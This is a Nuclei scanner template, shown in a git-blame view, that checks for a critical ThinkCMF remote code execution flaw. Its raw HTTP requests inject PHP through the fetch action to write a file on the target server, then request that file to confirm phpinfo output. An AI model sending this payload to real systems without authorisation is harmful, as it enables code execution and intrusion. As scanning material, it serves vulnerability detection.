2021-02-11 17:49:03 +00:00
|
|
|
id: thinkcmf-rce
|
2021-02-11 17:31:25 +00:00
|
|
|
|
|
|
|
info:
|
2022-06-03 19:12:31 +00:00
|
|
|
name: ThinkCMF - Remote Code Execution
|
2021-02-11 17:31:25 +00:00
|
|
|
author: pikpikcu
|
|
|
|
severity: critical
|
2022-06-03 19:12:31 +00:00
|
|
|
description: ThinkCMF is susceptible to a remote code execution vulnerability.
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://www.freebuf.com/vuls/217586.html
|
2022-06-03 19:12:31 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
2023-10-14 11:27:55 +00:00
|
|
|
cvss-score: 10
|
2022-06-03 19:12:31 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 2
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: thinkcmf,rce,intrusive
|
2021-02-11 17:31:25 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-09-30 14:52:53 +00:00
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
GET /index.php?a=fetch&content={{url_encode('<?php file_put_contents(\"{{randstr}}.php\",\"<?php echo phpinfo();\");')}} HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
- |
|
|
|
|
GET /{{randstr}}.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
2021-02-11 17:31:25 +00:00
|
|
|
|
2021-09-30 14:52:53 +00:00
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- 'contains(body_2, "PHP Extension")'
|
|
|
|
- 'contains(body_2, "PHP Version")'
|
|
|
|
- 'status_code_2 == 200'
|
2022-06-03 19:12:31 +00:00
|
|
|
condition: and
|
2023-11-27 09:19:41 +00:00
|
|
|
|
|
|
|
# digest: 4a0a00473045022100e4c965a9409f38d7dbbfe18f1eb2a8ab388955797a2b6ce7c85402032084204a02204520eb20938068c12dc67cc4f6613dd1c37e0df4374c484a205713243a3f2cd1:922c64590222798bb761d5b6d8e72950
|